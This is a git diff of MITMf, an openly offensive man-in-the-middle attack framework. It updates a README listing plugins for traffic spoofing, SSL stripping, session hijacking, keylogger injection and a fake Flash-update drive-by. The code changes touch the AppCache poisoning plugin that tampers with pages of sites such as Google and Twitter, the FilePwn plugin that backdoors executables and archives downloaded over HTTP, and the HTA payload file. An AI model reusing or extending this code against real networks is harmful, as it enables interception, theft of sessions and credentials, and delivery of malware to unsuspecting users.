diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 890f729..7c9e529 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -10,6 +10,7 @@ - @golind - @mmetince - @niallmerrigan +- @auraltension #Unintentional contributors and/or projects that I stole code from diff --git a/README.md b/README.md index 6cbf676..615489a 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ +[![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg)] + #MITMf V0.9.8 - 'The Dark Side' Framework for Man-In-The-Middle attacks @@ -15,23 +17,23 @@ Contact me at: Available plugins ================= -- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application -- ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients -- ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser -- ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner -- ```SSLstrip+``` - Partially bypass HSTS -- ```Spoof``` - Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing -- ```BeEFAutorun``` - Autoruns BeEF modules based on a client's OS or browser type -- ```AppCachePoison``` - Perform app cache poisoning attacks -- ```Ferret-NG``` - Transperently hijacks sessions -- ```BrowserProfiler``` - Attempts to enumerate all browser plugins of connected clients -- ```FilePwn``` - Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy -- ```Inject``` - Inject arbitrary content into HTML content -- ```BrowserSniper``` - Performs drive-by attacks on clients with out-of-date browser plugins -- ```jskeylogger``` - Injects a Javascript keylogger into a client's webpages -- ```Replace``` - Replace arbitary content in HTML content -- ```SMBAuth``` - Evoke SMB challenge-response authentication attempts -- ```Upsidedownternet``` - Flips images 180 degrees +- ```HTA Drive-By``` : Injects a fake update notification and prompts clients to download an HTA application +- ```SMBtrap``` : Exploits the 'SMB Trap' vulnerability on connected clients +- ```Screenshotter``` : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- ```Responder``` : LLMNR, NBT-NS, WPAD and MDNS poisoner +- ```SSLstrip+``` : Partially bypass HSTS +- ```Spoof``` : Redirect traffic using ARP spoofing, ICMP redirects or DHCP spoofing +- ```BeEFAutorun``` : Autoruns BeEF modules based on a client's OS or browser type +- ```AppCachePoison``` : Perform app cache poisoning attacks +- ```Ferret-NG``` : Transperently hijacks sessions +- ```BrowserProfiler``` : Attempts to enumerate all browser plugins of connected clients +- ```FilePwn``` : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- ```Inject``` : Inject arbitrary content into HTML content +- ```BrowserSniper``` : Performs drive-by attacks on clients with out-of-date browser plugins +- ```jskeylogger``` : Injects a Javascript keylogger into a client's webpages +- ```Replace``` : Replace arbitary content in HTML content +- ```SMBAuth``` : Evoke SMB challenge-response authentication attempts +- ```Upsidedownternet``` : Flips images 180 degrees How to install on Kali ====================== diff --git a/config/app_cache_poison_templates/default.append b/config/app_cache_poison_templates/default.append index 169e917..9c40f8d 100644 --- a/config/app_cache_poison_templates/default.append +++ b/config/app_cache_poison_templates/default.append @@ -34,5 +34,5 @@

AppCache Poison works!

-

%%tamper_url%% page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

+

This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

\ No newline at end of file diff --git a/config/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append index 4289f38..2ff38fb 100644 --- a/config/app_cache_poison_templates/script.append +++ b/config/app_cache_poison_templates/script.append @@ -1,2 +1,2 @@ -;console.log('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file +;alert('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file diff --git a/config/hta_driveby/Flash.hta b/config/hta_driveby/flash_setup.hta similarity index 100% rename from config/hta_driveby/Flash.hta rename to config/hta_driveby/flash_setup.hta diff --git a/config/mitmf.conf b/config/mitmf.conf index 767fd9b..9e75143 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -142,7 +142,7 @@ # Here you can specify the client to hijack sessions from # - Client = '192.168.20.126' + Client = '192.168.1.26' [SSLstrip+] @@ -248,18 +248,9 @@ templates=test # which templates to use for spoofing content? skip_in_mass_poison=1 - [[gmail]] - #use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here - - tamper_url=http://mail.google.com/mail/ - - # manifest has to be of last domain in redirect loop - - manifest_url=http://mail.google.com/robots.txt - templates=default # could be omitted - [[google]] - tamper_url = http://www.google.com/ + tamper_url_match = http://www.google.com\.*. + tamper_url = http://www.google.com manifest_url = http://www.google.com/robots.txt [[facebook]] @@ -269,7 +260,7 @@ [[twitter]] tamper_url=http://twitter.com/ - #tamper_url_match=^http://(www\.)?twitter\.com/$ + tamper_url_match=^http://(www\.)?twitter\.com/$ manifest_url=http://twitter.com/robots.txt [[html5rocks]] diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index eb4abf1..226f6a2 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -32,6 +32,7 @@ from twisted.internet import defer from twisted.internet import reactor from twisted.internet.protocol import ClientFactory +from core.logger import logger from ServerConnectionFactory import ServerConnectionFactory from ServerConnection import ServerConnection from SSLServerConnection import SSLServerConnection @@ -39,7 +40,7 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ClientRequest", formatter) class ClientRequest(Request): @@ -79,7 +80,6 @@ class ClientRequest(Request): headers['cookie'] = entry['cookie'] except KeyError: log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) - pass return headers diff --git a/core/ferretng/CookieCleaner.py b/core/ferretng/CookieCleaner.py index 5ba393c..892fce0 100644 --- a/core/ferretng/CookieCleaner.py +++ b/core/ferretng/CookieCleaner.py @@ -15,8 +15,6 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # - -import logging import string class CookieCleaner: diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py index d783c10..778c73d 100644 --- a/core/ferretng/SSLServerConnection.py +++ b/core/ferretng/SSLServerConnection.py @@ -18,10 +18,11 @@ import logging, re, string +from core.logger import logger from ServerConnection import ServerConnection from URLMonitor import URLMonitor -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_SSLServerConnection", formatter) class SSLServerConnection(ServerConnection): diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py index b08e943..5cd085d 100644 --- a/core/ferretng/ServerConnection.py +++ b/core/ferretng/ServerConnection.py @@ -25,10 +25,11 @@ import gzip import StringIO import sys +from core.logger import logger from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ServerConnection", formatter) class ServerConnection(HTTPClient): diff --git a/core/ferretng/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py index bd9c83b..0c725ae 100644 --- a/core/ferretng/ServerConnectionFactory.py +++ b/core/ferretng/ServerConnectionFactory.py @@ -20,7 +20,7 @@ import logging from core.logger import logger from twisted.internet.protocol import ClientFactory -formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) class ServerConnectionFactory(ClientFactory): diff --git a/mitmf.py b/mitmf.py index 66a5c68..d7fe9a6 100755 --- a/mitmf.py +++ b/mitmf.py @@ -83,6 +83,7 @@ from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(options.favicon) +URLMonitor.getInstance().setCaching(options.preserve_cache) CookieCleaner.getInstance().setEnabled(options.killsessions) strippingFactory = http.HTTPFactory(timeout=10) diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index 3430d94..f40b456 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -34,22 +34,19 @@ class AppCachePlugin(Plugin): def initialize(self, options): self.options = options self.mass_poisoned_browsers = [] + from core.sslstrip.URLMonitor import URLMonitor self.urlMonitor = URLMonitor.getInstance() self.urlMonitor.setAppCachePoisoning() def response(self, response, request, data): - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request + self.app_config = self.config['AppCachePoison'] url = request.client.uri req_headers = request.client.getAllHeaders() headers = request.client.responseHeaders ip = request.client.getClientIP() - ######################################################################### - if "enable_only_in_useragents" in self.app_config: regexp = self.app_config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): @@ -58,53 +55,56 @@ class AppCachePlugin(Plugin): urls = self.urlMonitor.getRedirectionSet(url) self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) - (name,s,element,url) = self.getSectionForUrls(urls) - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} + section = False + for url in urls: + for name in self.app_config: + if isinstance(self.app_config[name], dict): #'tis a section + section = self.app_config[name] - self.clientlog.info("Found URL {} in section {}".format(url, name), extra=request.clientInfo) - p = self.getTemplatePrefix(s) + if section.get('manifest_url', False) == url: + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo) + data = self.getSpoofedManifest(url, section) + headers.setRawHeaders("Content-Type", ["text/cache-manifest"]) - if element == 'tamper': - self.clientlog.info("Poisoning tamper URL with template {}".format(p), extra=request.clientInfo) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() + elif section.get('raw_url',False) == url: # raw resource to modify, it does not have to be html + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + p = self.getTemplatePrefix(section) + self.clientlog.info("Poisoning raw URL", extra=request.clientInfo) + if os.path.exists(p + '.replace'): # replace whole content + f = open(p + '.replace', 'r') + data = f.read() + f.close() - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + elif os.path.exists(p + '.append'): # append file to body + f = open(p + '.append', 'r') + data += f.read() + f.close() - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE), appendix + "", data) #append to body + f.close() + + # add manifest reference + data = re.sub(re.compile("" return html + "" - + def cacheForFuture(self, headers): ten_years = 315569260 - headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) + headers.setRawHeaders("Cache-Control",["max-age={}".format(ten_years)]) headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh in_ten_years = date.fromtimestamp(time.time() + ten_years) headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) - def removeDangerousHeaders(self, headers): - headers.removeHeader("X-Frame-Options") - def getSpoofedManifest(self, url, section): p = self.getTemplatePrefix(section) if not os.path.exists(p+'.manifest'): @@ -159,8 +161,8 @@ class AppCachePlugin(Plugin): return self.decorate(manifest, section) def decorate(self, content, section): - for i in section: - content = content.replace("%%"+i+"%%", section[i]) + for entry in section: + content = content.replace("%%{}%%".format(entry), section[entry]) return content def getTemplatePrefix(self, section): @@ -173,25 +175,4 @@ class AppCachePlugin(Plugin): return self.app_config['templates_path'] + '/default' def getManifestUrl(self, section): - return section.get("manifest_url",'/robots.txt') - - def getSectionForUrls(self, urls): - for url in urls: - for i in self.app_config: - if isinstance(self.app_config[i], dict): #section - section = self.app_config[i] - name = i - - if section.get('tamper_url',False) == url: - return (name, section, 'tamper',url) - - if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): - return (name, section, 'tamper',url) - - if section.get('manifest_url',False) == url: - return (name, section, 'manifest',url) - - if section.get('raw_url',False) == url: - return (name, section, 'raw',url) - - return (None, False,'',urls.copy().pop()) + return section.get("manifest_url",'/robots.txt') diff --git a/plugins/ferretng.py b/plugins/ferretng.py index 75df7be..e79f499 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -23,7 +23,7 @@ from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http -from twisted.internet import reactor +from core.ferretng.URLMonitor import URLMonitor class FerretNG(Plugin): name = "Ferret-NG" @@ -37,9 +37,6 @@ class FerretNG(Plugin): self.ferret_port = options.ferret_port self.cookie_file = None - from core.ferretng.FerretProxy import FerretProxy - from core.ferretng.URLMonitor import URLMonitor - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] from core.utils import shutdown @@ -79,6 +76,7 @@ class FerretNG(Plugin): URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) def reactor(self, StrippingProxy): + from core.ferretng.FerretProxy import FerretProxy FerretFactory = http.HTTPFactory(timeout=10) FerretFactory.protocol = FerretProxy reactor.listenTCP(self.ferret_port, FerretFactory) diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 52f46b2..83bd6b9 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -388,7 +388,7 @@ class FilePwn(Plugin): continue # Check against keywords - keywordCheck = False + keywordCheck = True if type(self.tarblacklist) is str: if self.tarblacklist.lower() in info.name.lower(): @@ -502,7 +502,7 @@ class FilePwn(Plugin): continue #Check against keywords - keywordCheck = False + keywordCheck = True if type(self.zipblacklist) is str: if self.zipblacklist.lower() in info.filename.lower(): @@ -591,7 +591,8 @@ class FilePwn(Plugin): def response(self, response, request, data): content_header = response.headers['Content-Type'] - client_ip = response.getClientIP() + content_length = int(response.headers['Content-Length']) + client_ip = request.client.getClientIP() for target in self.userConfig['targets'].keys(): if target == 'ALL': @@ -630,7 +631,7 @@ class FilePwn(Plugin): self.clientlog.info("Patching complete, forwarding to client!", extra=request.clientInfo) return {'response': response, 'request': request, 'data': bd_tar} - elif content_header in self.binaryMimeTypes: + elif (content_header in self.binaryMimeTypes) and (content_length <= self.FileSizeMax): for bintype in ['pe','elf','fatfile','machox64','machox86']: if self.bytes_have_format(data, bintype): self.clientlog.info("Detected supported binary type ({})!".format(bintype), extra=request.clientInfo) diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 13385ca..3fef9f9 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -53,4 +53,4 @@ class HTADriveBy(Inject, Plugin): def options(self, options): options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") - options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]') + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/flash_setup.hta', help='Path to HTA application [defaults to config/hta_driveby/flash_setup.hta]')